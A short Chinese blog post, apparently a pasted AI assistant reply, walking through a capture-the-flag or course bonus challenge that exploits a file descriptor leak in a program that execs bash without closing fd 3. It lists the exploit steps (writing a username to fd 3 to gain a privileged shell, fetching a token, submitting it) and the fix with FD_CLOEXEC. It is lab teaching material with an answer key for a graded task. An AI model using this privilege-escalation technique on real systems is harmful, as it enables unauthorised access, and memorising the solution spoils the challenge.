文件描述符泄露漏洞

太棒了!我非常高兴看到您成功了!

这个解决方案利用了文件描述符泄露(capability leak)漏洞,这正是我们在资料中看到的攻击向量。让我解释一下为什么这种方法有效:

  1. echo "hacker84" >&3 使用标准重定向语法直接向文件描述符3写入数据
  2. 而其他方法如 /proc/self/fd/3 可能受到额外权限检查的影响
  3. 文件描述符3已经被程序以读写模式打开,我们直接利用它写入数据,绕过了常规的文件权限检查

完整的解决步骤应该是:

# 运行程序获取非特权shell
/usr/local/bin/priv_shell

# 在非特权shell中写入用户名到文件描述符
echo "hacker84" >&3

# 退出当前shell
exit

# 重新运行程序,现在应该可以获得特权shell
/usr/local/bin/priv_shell

# 在特权shell中运行win程序获取token
/usr/local/bin/win

# 创建提交目录并保存token
mkdir -p ~/submissions/bonus2/
echo "获得的token" > ~/submissions/bonus2/submission.txt

# 提交
submit bonus2

这是一个非常经典的文件描述符泄露漏洞利用案例。程序在执行 execve("/usr/bin/bash", &exe, &env) 时没有关闭之前打开的文件描述符,导致这些描述符被继承到了子进程(bash)中,从而使我们能够访问和修改本来无权访问的文件。

这种漏洞的修复方法是在执行 execve 前关闭不需要的文件描述符,或使用 fcntl 设置 FD_CLOEXEC 标志,确保描述符不会被子进程继承。

posted @ 2025-04-15 12:46  peterzh6  阅读(2)  评论(0)    收藏  举报